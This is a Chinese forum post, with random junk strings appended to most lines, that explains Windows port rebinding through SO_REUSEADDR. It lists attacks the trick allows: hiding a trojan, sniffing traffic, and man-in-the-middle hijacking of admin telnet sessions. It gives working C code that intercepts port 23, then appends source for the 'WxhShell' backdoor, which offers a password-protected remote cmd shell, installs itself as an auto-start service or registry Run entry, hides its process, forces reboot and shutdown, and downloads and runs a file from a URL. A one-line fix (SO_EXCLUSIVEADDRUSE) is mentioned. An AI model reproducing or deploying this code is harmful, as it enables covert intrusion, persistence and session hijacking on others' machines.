社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13384阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eQx"nl3U%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `Vi:r9|P  
v^pP& <G  
  saddr.sin_family = AF_INET; kI'A` /B l  
`[\phv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); J4g;~#_19  
"/fs%F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); h;KK6*Z*$E  
N96BWgT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 z{d5Lrk  
wVOL7vh  
  这意味着什么?意味着可以进行如下的攻击: ,]mwk~HeF  
=R.9"7~2x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QO.gt*"  
$rEd5W&d!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jZ!JXmVV  
Ag6 (  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }6> J   
0?xiGSZV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y(zN  
7]j-zv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `yZZP   
YoJ'=z,e  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !f-o,RJ  
m[j3s=Gr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z5L1^  
uFWgq::\  
  #include tJPRR_nZv  
  #include &>l8SlC?  
  #include ef;L|b%pp  
  #include    jPNfLwVkl:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N08n/u&cr,  
  int main() 8$kXC+  
  { fNPj8\#V,  
  WORD wVersionRequested; 5ba[6\Af  
  DWORD ret; w WU_?Dr_~  
  WSADATA wsaData; znO00qX  
  BOOL val; N-9gfG  
  SOCKADDR_IN saddr; nln6:^w  
  SOCKADDR_IN scaddr; A'1AU:d  
  int err; R?~h7 d  
  SOCKET s; \]A;EwC4C  
  SOCKET sc; _vV&4>  
  int caddsize; vqOLSE"t*O  
  HANDLE mt; M%s$F@  
  DWORD tid;   ~vV )|  
  wVersionRequested = MAKEWORD( 2, 2 ); y9li<u<PF  
  err = WSAStartup( wVersionRequested, &wsaData ); Xb-c`k~_  
  if ( err != 0 ) {  ,nR8l  
  printf("error!WSAStartup failed!\n"); 78CJ  
  return -1; |u r~s$8y-  
  } /2Lo{v=0[  
  saddr.sin_family = AF_INET; JlQT5k  
   =awO63j>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @:9fS  
~hslLUE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m8j-lNu  
  saddr.sin_port = htons(23); H#6^-6;/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2^#UO=ct  
  { ;sR6dT)  
  printf("error!socket failed!\n"); Jx$#GUl#j  
  return -1; |QOJ9~hxD  
  } Y;F R"~^  
  val = TRUE; ?s)sPM?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1`]IU_)1B  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <-:@} |br  
  {  7EP|X.  
  printf("error!setsockopt failed!\n"); rHgdvDc  
  return -1; `]P5,  
  } $>ZP%~O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s.^9HuM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 hdtnC29$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \41)0,sEy  
E(!6n= qR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z3So|M{v  
  { xY'qm8V  
  ret=GetLastError(); -^4bA<dCCE  
  printf("error!bind failed!\n"); PT#eXS9_  
  return -1; $l,Zd6<1q  
  } CQzjCRS d  
  listen(s,2); ZoON5P>  
  while(1) cia-OVX  
  { qD;v/,?  
  caddsize = sizeof(scaddr); <cv2-?L{  
  //接受连接请求 'gZbNg=&[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H<Kkj  
  if(sc!=INVALID_SOCKET) vk)0n=  
  { 0 \Yx.\X,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =ym  
  if(mt==NULL) 4^[}]'w  
  { R mW fV  
  printf("Thread Creat Failed!\n"); A!W" *WT  
  break; fb"J Bc}X  
  } 6~F#F)C'  
  } "bR'Bt  
  CloseHandle(mt); |\%F(d330  
  } n!ZP?]FR  
  closesocket(s); uOl(-Zq@  
  WSACleanup(); c@9Z&2)  
  return 0; x, Vh  
  }   7<1fKrN?GF  
  DWORD WINAPI ClientThread(LPVOID lpParam) AX!>l;  
  { kV\-%:-  
  SOCKET ss = (SOCKET)lpParam; Ue3B+k9w  
  SOCKET sc; ?S@R~y0K  
  unsigned char buf[4096]; }-{b$6]  
  SOCKADDR_IN saddr; ;4kx>x*H  
  long num; te;Ox!B&  
  DWORD val; @0ov!9]Rw-  
  DWORD ret; oB0 8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ] `B,L*m6  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   r'd:SaU+  
  saddr.sin_family = AF_INET; <,@H;|mZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &*aer5?`  
  saddr.sin_port = htons(23); y Tw',N{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7.$]f71z  
  { 1]>$5 1Q  
  printf("error!socket failed!\n"); eyf4M;goz}  
  return -1; 4Hml.|$  
  } OgKWgvy  
  val = 100; 0Q$~k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'je8k7`VA  
  { cK|rrwa0  
  ret = GetLastError(); wrQydI  
  return -1; ]M~8 @K  
  } (L y%{ Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i<#h]o C}  
  {  nOoKGT  
  ret = GetLastError(); G}P)vfcH  
  return -1; 2 {mY:\  
  } }O.LPQ0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K}PvrcO1  
  { : 'd76pM-  
  printf("error!socket connect failed!\n"); emv;m/&8  
  closesocket(sc); (|<h^] y3  
  closesocket(ss); <Spr6U9p7  
  return -1; 7MO  
  } p*pn@z  
  while(1) qSEB}1  
  { 66~e~F}z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wX)efLmyhY  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $/[Gys3"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zP :~O  
  num = recv(ss,buf,4096,0); e{fZ}`=7y  
  if(num>0) W>Mse[6`c  
  send(sc,buf,num,0); k;;nE o~6  
  else if(num==0) N<aB)</  
  break; d&aBs++T  
  num = recv(sc,buf,4096,0); +R "AA_A?  
  if(num>0) *CeQY M  
  send(ss,buf,num,0); ;Ze"<U  
  else if(num==0) /B,B4JI)/  
  break; ?CH?kP  
  } j`2B}@2  
  closesocket(ss); MV0<^/p|  
  closesocket(sc); 4ef*9|^x#  
  return 0 ; _YH<YOrMh  
  } #0P!xZ'|{  
2f3=?YqD  
v7 8&[  
========================================================== *>e~_{F  
$zC6(C(l  
下边附上一个代码,,WXhSHELL cs K>iN  
UvPp~N 7,  
========================================================== gf0PMc3l  
/:#j ?c  
#include "stdafx.h" >vQ6V'F  
,'FD}yw4v  
#include <stdio.h> $Q8P@L)[  
#include <string.h> k(zs>kiP  
#include <windows.h> M0O>Ljo4RN  
#include <winsock2.h> R(:  4s  
#include <winsvc.h> =QrA0kQR  
#include <urlmon.h> *I:mw8t  
iY0,WT}&n  
#pragma comment (lib, "Ws2_32.lib") J#6LSD@ (O  
#pragma comment (lib, "urlmon.lib") n&_YYEHx  
QjQ4Z'.r>  
#define MAX_USER   100 // 最大客户端连接数 |yLk5e~@-  
#define BUF_SOCK   200 // sock buffer i[^k.W3gf  
#define KEY_BUFF   255 // 输入 buffer R]CZw;zS_  
3hc#FmLr2b  
#define REBOOT     0   // 重启 uDILjOT  
#define SHUTDOWN   1   // 关机 T|;^.TZ  
McEmd.S<n  
#define DEF_PORT   5000 // 监听端口 U+4HG  
7}<Sg  
#define REG_LEN     16   // 注册表键长度 ]KsGkAG  
#define SVC_LEN     80   // NT服务名长度 8]My k>  
54=}GnZN  
// 从dll定义API 'To<T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3QCMK^#Z:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ewo*7j4*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S&n[4*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q z=yMIy=  
b![t6-f^z  
// wxhshell配置信息  "\`>2  
struct WSCFG { "VV914*z  
  int ws_port;         // 监听端口 j,}4TDWa  
  char ws_passstr[REG_LEN]; // 口令 Ip>^O/}$1  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9U]pH%.9  
  char ws_regname[REG_LEN]; // 注册表键名 DeA@0HOxh  
  char ws_svcname[REG_LEN]; // 服务名 }g}6qCv7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3nwz<P  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >/b^fAG  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <E"*)Oi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u/ }xE7G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ab{;Z 5O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !{IC[g n  
jUYF.K&  
}; ]yo_wGiwY  
F\JLbY{x]  
// default Wxhshell configuration +q7qK*  
struct WSCFG wscfg={DEF_PORT, l x7Kw%  
    "xuhuanlingzhe", h:f;mn?x  
    1, 3KtAK9PT  
    "Wxhshell", pNuqT*  
    "Wxhshell", 9KXym }  
            "WxhShell Service", QS\Uq(Ja\  
    "Wrsky Windows CmdShell Service", H]BAW *}  
    "Please Input Your Password: ", 60'6/3  
  1, L5/mO6;k  
  "http://www.wrsky.com/wxhshell.exe", #`vVg GZ&  
  "Wxhshell.exe" 7O:"~L  
    }; p[u4,  
"rVU4F)  
// 消息定义模块 T 4eWbNSs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; THJ 3-Ug  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ax f^hBP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j13riI3A  
char *msg_ws_ext="\n\rExit."; Ex 6o=D2  
char *msg_ws_end="\n\rQuit."; @2u#93Y  
char *msg_ws_boot="\n\rReboot..."; Q ]/B/  
char *msg_ws_poff="\n\rShutdown..."; 1XCmM Z  
char *msg_ws_down="\n\rSave to "; L+73aN  
&T7cH>E'K^  
char *msg_ws_err="\n\rErr!"; {ZG:M}ieN  
char *msg_ws_ok="\n\rOK!"; \OP9_J(*  
_y>}#6B  
char ExeFile[MAX_PATH]; M=W 4:H,gx  
int nUser = 0; YtMlqF  
HANDLE handles[MAX_USER]; #L\o;p(  
int OsIsNt; au}s=ua~i  
"tKNlHBu'  
SERVICE_STATUS       serviceStatus; k9 l^6#<?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  *=TYVM9  
xLZ bU4  
// 函数声明 o,J^ e_  
int Install(void); {(%~i37  
int Uninstall(void); qT$ )Rb&  
int DownloadFile(char *sURL, SOCKET wsh); Y5n>r@ )m  
int Boot(int flag); c88_}%h?(  
void HideProc(void); 8|6~o.B.G  
int GetOsVer(void); V7BsEw  
int Wxhshell(SOCKET wsl); B7|c`7x(  
void TalkWithClient(void *cs); S4)A6z$  
int CmdShell(SOCKET sock); +|9f%f6vp  
int StartFromService(void); a/ b92*&k  
int StartWxhshell(LPSTR lpCmdLine); &; s<dDQK  
SAy{YOLtl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s0 47"Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4b=Gg  
\KCWYi]  
// 数据结构和表定义 lr0M<5d=p  
SERVICE_TABLE_ENTRY DispatchTable[] = YIO.yN"0  
{ '^DUq?E4  
{wscfg.ws_svcname, NTServiceMain}, '=p?  
{NULL, NULL} BR3wX4i\  
}; -n-Z/5~ X  
(V!0'9c  
// 自我安装 PGkCOmq   
int Install(void) 5~QT g  
{ 1) 'Iu`k/  
  char svExeFile[MAX_PATH]; {U^j&E  
  HKEY key; <W2ZoqaV  
  strcpy(svExeFile,ExeFile); Gp8psH  
fQO ""qh  
// 如果是win9x系统,修改注册表设为自启动 e:BDQU  
if(!OsIsNt) { c`ftd>]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :s]\k%"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); **n y!  
  RegCloseKey(key); )%t7\1)B3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]=|P<F   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AC'lS >7s  
  RegCloseKey(key); :mP9^Do2;  
  return 0; }qL~KA{&  
    } \OT6L'l],  
  } ]q&tQJ/Fa  
} R B%:h-t4  
else { 4dD2{M  
kf'=%]9#_T  
// 如果是NT以上系统,安装为系统服务 djfU:$!j&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @i{]4rk lv  
if (schSCManager!=0) /e(W8aszi  
{ AX K95eS  
  SC_HANDLE schService = CreateService 50 *@.!^*  
  ( Zt_r9xs>  
  schSCManager, &}E:jt}  
  wscfg.ws_svcname, yuv4*  
  wscfg.ws_svcdisp, [83>T ,  
  SERVICE_ALL_ACCESS, l|7O)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;P8(Zf3wJb  
  SERVICE_AUTO_START, +<{m45  
  SERVICE_ERROR_NORMAL, %i595Ij-]  
  svExeFile, 5aG5BA[N  
  NULL, (2tH"I  
  NULL, },s_nJR:8  
  NULL, [[X+P 0`r  
  NULL, %mu>-hac  
  NULL '-.wFB;  
  ); ZJvo9!DL|  
  if (schService!=0) h 1*FPsc  
  { 5VZjDg?  
  CloseServiceHandle(schService); 7DZTQUb"  
  CloseServiceHandle(schSCManager); Z vRxi&Z{?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C/)`<b(  
  strcat(svExeFile,wscfg.ws_svcname); *E7R(#,yC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { + KP_yUq[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fK"iF@=Z`  
  RegCloseKey(key); x;(g  
  return 0; !=y Q)l2  
    } @h9K  
  } ol}`Wwy  
  CloseServiceHandle(schSCManager); .`+yo0O:  
} O J>iq@ >  
} WN\PX!K9  
6+e4<sy[E  
return 1; -K^41W71  
} tgB=vIw?3  
1]Lh'.1^  
// 自我卸载 P7UJ-2%Y+  
int Uninstall(void) R>HY:-2  
{ Why"G1`  
  HKEY key; f"P$f8$  
_A3X6  
if(!OsIsNt) { U=DEV7E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zw24f1iY  
  RegDeleteValue(key,wscfg.ws_regname); 6n,xH!7  
  RegCloseKey(key); Yv=g^tw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T%~SM5  
  RegDeleteValue(key,wscfg.ws_regname); `2e_ L  
  RegCloseKey(key); -N4z-ozhC  
  return 0; 32^#RlSu8  
  } tah }^  
} R;'?;I  
} b5S7{"<V  
else { mLaCkn  
 P63 (^R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); In+^V([u+_  
if (schSCManager!=0) cm,4&x6  
{ bvp)r[8h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bl$j%gI%,  
  if (schService!=0) (Vap7.6;_  
  { sv`"\3N[  
  if(DeleteService(schService)!=0) { dN0mYlu1|  
  CloseServiceHandle(schService); ;W6-i2?  
  CloseServiceHandle(schSCManager); Vd<K4Tk  
  return 0; 'kQ~  
  } n.ct]+L  
  CloseServiceHandle(schService); Z /h|\SyJ  
  } ONfyYM?  
  CloseServiceHandle(schSCManager); (!-;T  
} )cKjiXn  
} UFf,+4q  
#D0W7 a  
return 1; K:a3+k d  
} BV1u,<T"  
Man^<T%F  
// 从指定url下载文件 Xb0!( (A  
int DownloadFile(char *sURL, SOCKET wsh) 8t=3  
{ O{u[+g  
  HRESULT hr; !t% Q{`p  
char seps[]= "/"; qK,V$l(4#  
char *token; 1!1DuQ  
char *file; wHWma)}-z  
char myURL[MAX_PATH]; tUv3jq)n%  
char myFILE[MAX_PATH]; q0g1E Jar  
eo ?Oir)  
strcpy(myURL,sURL); B/G3T u uG  
  token=strtok(myURL,seps); <p/MyqZf  
  while(token!=NULL) M?R!n$N_  
  { J^h'9iQpi  
    file=token; FR["e1<0  
  token=strtok(NULL,seps); \ j:AR4  
  } xG w?'\  
& +]x;K  
GetCurrentDirectory(MAX_PATH,myFILE); B\/7^{i5  
strcat(myFILE, "\\"); V]m^7^m3  
strcat(myFILE, file); - f 4>MG  
  send(wsh,myFILE,strlen(myFILE),0); !xymoiArp  
send(wsh,"...",3,0); pALJl[Cb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3a9u"8lG  
  if(hr==S_OK) l#ZyB|  
return 0; %p*`h43;  
else iJ4 <f->t  
return 1; nzWQQra|?  
sjb-Me?  
} VfRs[ 3Q  
3A d*,>!  
// 系统电源模块 D$$3fN.iEL  
int Boot(int flag) PLdf_/]-   
{ zuMO1s  
  HANDLE hToken; 7j T#BWt  
  TOKEN_PRIVILEGES tkp; :Fnzi0b  
qh H+m  
  if(OsIsNt) { %z2oDAjX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RQ|?Ce",  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nNu[c[V  
    tkp.PrivilegeCount = 1; Pj._/$R[/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W8VO)3nmD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JSRg?p\  
if(flag==REBOOT) { v4D!7 t&v"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s.KOBNCFa  
  return 0; /k) NP  
} d=F)y~&'  
else { @2?=3Wf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]1tN|ODY*W  
  return 0; PF`:1;P U  
} m|mG;8}pI  
  } hwp/jO:7\  
  else { "h$D7 mL  
if(flag==REBOOT) { xY+A]Up|w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _Qg{ ;  
  return 0; aoK4Du{  
} Txu>/1N,  
else { `BpCRKTG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RW)k_#%=  
  return 0; &*jixqzvn  
} HwM /}-t  
} leR" j  
 XtR`?  
return 1; eWw y28t  
} T%w(P ^qk  
y/H8+0sEk  
// win9x进程隐藏模块 gsi<S6DQ8  
void HideProc(void) A>5S]  
{ ;2BPPZ  
v >NTh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kHZKj!!R  
  if ( hKernel != NULL ) so'eZ"A:  
  { TZkTz P[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v3Eo@,-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?nY/, q&  
    FreeLibrary(hKernel); IN>TsTo  
  } N]*!8  
Re{ej  
return; ^,>}%1\  
} (KZUvsSk  
)2/b$i,JKk  
// 获取操作系统版本 ,~iFEaV+  
int GetOsVer(void) 80cm6?,xu  
{ N4tc V\O  
  OSVERSIONINFO winfo; %bN"bxv^  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8`6 LMQ  
  GetVersionEx(&winfo); "1AjCHZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :3:)E  
  return 1; =\*S'Ded  
  else  POkXd^pI  
  return 0; :K?iNZqWN6  
} ;>sq_4_  
[]!tT-Gzy  
// 客户端句柄模块 cz$c)It  
int Wxhshell(SOCKET wsl) jjNxatAN  
{ cS+?s=d  
  SOCKET wsh; v#w4{.8)  
  struct sockaddr_in client;  PVS\,  
  DWORD myID; |I4D(#w.  
v!iWzN  
  while(nUser<MAX_USER) 0GF%~6  
{ s 8C:QC  
  int nSize=sizeof(client); !:&2+%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UqY J#&MqY  
  if(wsh==INVALID_SOCKET) return 1; zR_9D}  
^o,y5 ,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m21QN9(i%  
if(handles[nUser]==0) TZ)(ZKX*R  
  closesocket(wsh); l@ (t^68OD  
else 3J23q  
  nUser++; _ak.G=  
  } /%c+ eL}l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <1v{[F_  
'Wd3`4V$  
  return 0; ikeJDKSG  
} X+fu hcn  
K%o6hBlk_  
// 关闭 socket T "ZQPLg  
void CloseIt(SOCKET wsh) @DRfNJ}  
{ )WzGy~p8K  
closesocket(wsh); 3XMBu*  
nUser--; \;4L~_2$q  
ExitThread(0); -<u- +CbuT  
} Z1 E` I89<  
O(b"F? w  
// 客户端请求句柄 KBp!zSl  
void TalkWithClient(void *cs) Z:W')Nd(  
{ WlF+unB!9  
y=y/d>=w  
  SOCKET wsh=(SOCKET)cs; ,K"r:)\  
  char pwd[SVC_LEN]; {b\Y?t^>f  
  char cmd[KEY_BUFF]; P TfN+  
char chr[1]; ";%e~ =  
int i,j; eG a#$x?.  
Z_ iQU1  
  while (nUser < MAX_USER) { 7R% PVgS4x  
rcD.P?"  
if(wscfg.ws_passstr) { eA;j/&qH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iPR!JX _  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zzDNWPzsA  
  //ZeroMemory(pwd,KEY_BUFF); e)fJd*P  
      i=0; A?%XO %  
  while(i<SVC_LEN) { /@xr[=L  
i!/h3%=  
  // 设置超时 .2 N_?  
  fd_set FdRead; 7=9A_4G!  
  struct timeval TimeOut; QH~8 aE_i  
  FD_ZERO(&FdRead); ~)oWSo5ll  
  FD_SET(wsh,&FdRead); Fj4l %=  
  TimeOut.tv_sec=8; 9P,A t8V(  
  TimeOut.tv_usec=0; P"[ifs p  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )j)y5_m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VyBJIzs0  
M9ter&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y&KoL\  
  pwd=chr[0]; qkZ5+2m  
  if(chr[0]==0xd || chr[0]==0xa) { Uv W:#  
  pwd=0; M4L~bK   
  break; #]N&6ngJ  
  } 59"Nn\}3gE  
  i++; -Ihn<<uE?  
    } ~7)rKHau  
mYsuNTx!.  
  // 如果是非法用户,关闭 socket ,& \&::R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?trt4Tbe/  
} z[$9B#P  
4q@9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Z IGbwL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pU'`9f Li_  
Zip K;!9by  
while(1) { VLwJ6?.f'  
ePu2t3E  
  ZeroMemory(cmd,KEY_BUFF); Y;%R/OyWY  
O#uaGziFf  
      // 自动支持客户端 telnet标准   OmoplJ+  
  j=0; pE YrmC  
  while(j<KEY_BUFF) { lL(}dbT~N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 80R= r  
  cmd[j]=chr[0]; +lXdRc`6  
  if(chr[0]==0xa || chr[0]==0xd) { qAuUe=w%p  
  cmd[j]=0; s\3Z?zm8  
  break; ux/[d6To  
  } A+bu bH,  
  j++; 2=Vkjh-  
    } uV*f  
8m1 3M5r  
  // 下载文件 l yLK$B?/  
  if(strstr(cmd,"http://")) { s K$Sar  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D3ZT''  
  if(DownloadFile(cmd,wsh)) iX9[Q0g=oQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +2_6C;_DX  
  else gP_d >p:b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s/p>30Fg  
  } 9b=^"K  
  else { 2kmna/Qa6  
sL[(cX?;2  
    switch(cmd[0]) { j_YZ(: =  
  5D02%U2N)G  
  // 帮助 G3^n_]Jb  
  case '?': { bW 79<T'+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tr67ofld|  
    break; /i]=ndAk  
  } F6neG~Y  
  // 安装 {H7$uiq3:B  
  case 'i': { dA MilTo  
    if(Install()) 7HR%rO?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7=M'n;!Mh  
    else A)`fD %+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ED =BZR  
    break; 6u]OXP A|  
    } 80l3.z,:  
  // 卸载  vCH v  
  case 'r': { 1H2u,{O  
    if(Uninstall()) qT-nD}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yrv SbqR  
    else A5>gLhl7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SUFaHHk@/b  
    break; m} F Ce  
    } YQ[&h  
  // 显示 wxhshell 所在路径 9Av- ;!]  
  case 'p': { ~?8 x0  
    char svExeFile[MAX_PATH]; 4 *2>R8SX~  
    strcpy(svExeFile,"\n\r"); TQxc?o  
      strcat(svExeFile,ExeFile);  M$-(4 0  
        send(wsh,svExeFile,strlen(svExeFile),0); yKk,);  
    break; G4`sRaT.  
    } p=P0$P+KM  
  // 重启 iRr& 'k  
  case 'b': { GT`<jzAiQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0T{Y_IG  
    if(Boot(REBOOT)) 9[]"%6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gQzJ2LU(  
    else { 0_xcrM  
    closesocket(wsh); :92a34  
    ExitThread(0); ~4 xBa:*z  
